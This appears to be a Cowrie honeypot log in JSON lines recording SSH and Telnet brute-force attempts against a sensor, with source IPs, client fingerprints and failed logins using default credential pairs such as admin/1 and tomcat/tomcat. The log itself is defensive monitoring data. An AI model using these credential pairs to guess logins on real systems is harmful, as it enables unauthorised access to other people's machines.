{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52782,"dst_ip":"159.203.135.109","dst_port":22,"session":"1108af3bbf96","protocol":"ssh","message":"New connection: 45.156.87.254:52782 (159.203.135.109:22) [session: 1108af3bbf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:31.295094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:31.306383Z","src_ip":"45.156.87.254","session":"1108af3bbf96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:31.411573Z","src_ip":"45.156.87.254","session":"1108af3bbf96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:31.697450Z","src_ip":"45.156.87.254","session":"1108af3bbf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47614,"dst_ip":"10.17.0.5","dst_port":23,"session":"c989254ee01f","protocol":"telnet","message":"New connection: 104.245.105.2:47614 (10.17.0.5:23) [session: c989254ee01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:32.737494Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:32.785777Z","src_ip":"45.156.87.254","session":"1108af3bbf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52808,"dst_ip":"159.203.135.109","dst_port":22,"session":"3601a115495c","protocol":"ssh","message":"New connection: 45.156.87.254:52808 (159.203.135.109:22) [session: 3601a115495c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:36.420846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:36.427899Z","src_ip":"45.156.87.254","session":"3601a115495c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:36.514981Z","src_ip":"45.156.87.254","session":"3601a115495c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:36.767275Z","src_ip":"45.156.87.254","session":"3601a115495c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:38.047580Z","src_ip":"45.156.87.254","session":"3601a115495c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":36216,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ecd68cdc4fb","protocol":"ssh","message":"New connection: 185.16.214.226:36216 (10.17.0.5:22) [session: 2ecd68cdc4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:39.587207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:39.592447Z","src_ip":"185.16.214.226","session":"2ecd68cdc4fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:39.718637Z","src_ip":"185.16.214.226","session":"2ecd68cdc4fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@SSWORD123","message":"login attempt [test/P@SSWORD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:40.252986Z","src_ip":"185.16.214.226","session":"2ecd68cdc4fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52524,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d62989be70","protocol":"ssh","message":"New connection: 45.156.87.254:52524 (159.203.135.109:22) [session: 92d62989be70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:41.258420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:41.264531Z","src_ip":"45.156.87.254","session":"92d62989be70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:41.348924Z","src_ip":"45.156.87.254","session":"92d62989be70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:41.391676Z","src_ip":"185.16.214.226","session":"2ecd68cdc4fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:41.597267Z","src_ip":"45.156.87.254","session":"92d62989be70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:42.685344Z","src_ip":"45.156.87.254","session":"92d62989be70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52546,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d4be6ab5c18","protocol":"ssh","message":"New connection: 45.156.87.254:52546 (159.203.135.109:22) [session: 7d4be6ab5c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:45.897113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:45.903613Z","src_ip":"45.156.87.254","session":"7d4be6ab5c18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:45.986316Z","src_ip":"45.156.87.254","session":"7d4be6ab5c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:46.479358Z","src_ip":"45.156.87.254","session":"7d4be6ab5c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:47.565092Z","src_ip":"45.156.87.254","session":"7d4be6ab5c18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":39252,"dst_ip":"10.17.0.5","dst_port":22,"session":"bef389d7ce66","protocol":"ssh","message":"New connection: 186.30.115.187:39252 (10.17.0.5:22) [session: bef389d7ce66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:47.802082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:47.806759Z","src_ip":"186.30.115.187","session":"bef389d7ce66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:47.894253Z","src_ip":"186.30.115.187","session":"bef389d7ce66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"brian","message":"login attempt [mysql/brian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:48.273696Z","src_ip":"186.30.115.187","session":"bef389d7ce66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"8806f05c6d28","protocol":"telnet","message":"New connection: 20.123.41.163:57156 (10.17.0.5:23) [session: 8806f05c6d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:49.356799Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:49.362464Z","src_ip":"186.30.115.187","session":"bef389d7ce66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54034,"dst_ip":"159.203.135.109","dst_port":22,"session":"0058bfb95025","protocol":"ssh","message":"New connection: 45.156.87.254:54034 (159.203.135.109:22) [session: 0058bfb95025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:50.829617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:50.834638Z","src_ip":"45.156.87.254","session":"0058bfb95025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:50.916873Z","src_ip":"45.156.87.254","session":"0058bfb95025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:51.171187Z","src_ip":"45.156.87.254","session":"0058bfb95025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:52.260676Z","src_ip":"45.156.87.254","session":"0058bfb95025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.259806394577026,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:53.301754Z","src_ip":"20.123.41.163","session":"6632a031b042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.83475852012634,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:54.552117Z","src_ip":"20.123.41.163","session":"6e9c932d6006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54042,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdac792ef6cb","protocol":"ssh","message":"New connection: 45.156.87.254:54042 (159.203.135.109:22) [session: fdac792ef6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:55.786469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:55.795549Z","src_ip":"45.156.87.254","session":"fdac792ef6cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:55.879063Z","src_ip":"45.156.87.254","session":"fdac792ef6cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:56.160981Z","src_ip":"45.156.87.254","session":"fdac792ef6cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:03:57.248791Z","src_ip":"45.156.87.254","session":"fdac792ef6cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35306,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb648a46f8a0","protocol":"ssh","message":"New connection: 45.156.87.254:35306 (159.203.135.109:22) [session: fb648a46f8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:04:01.269843Z"}
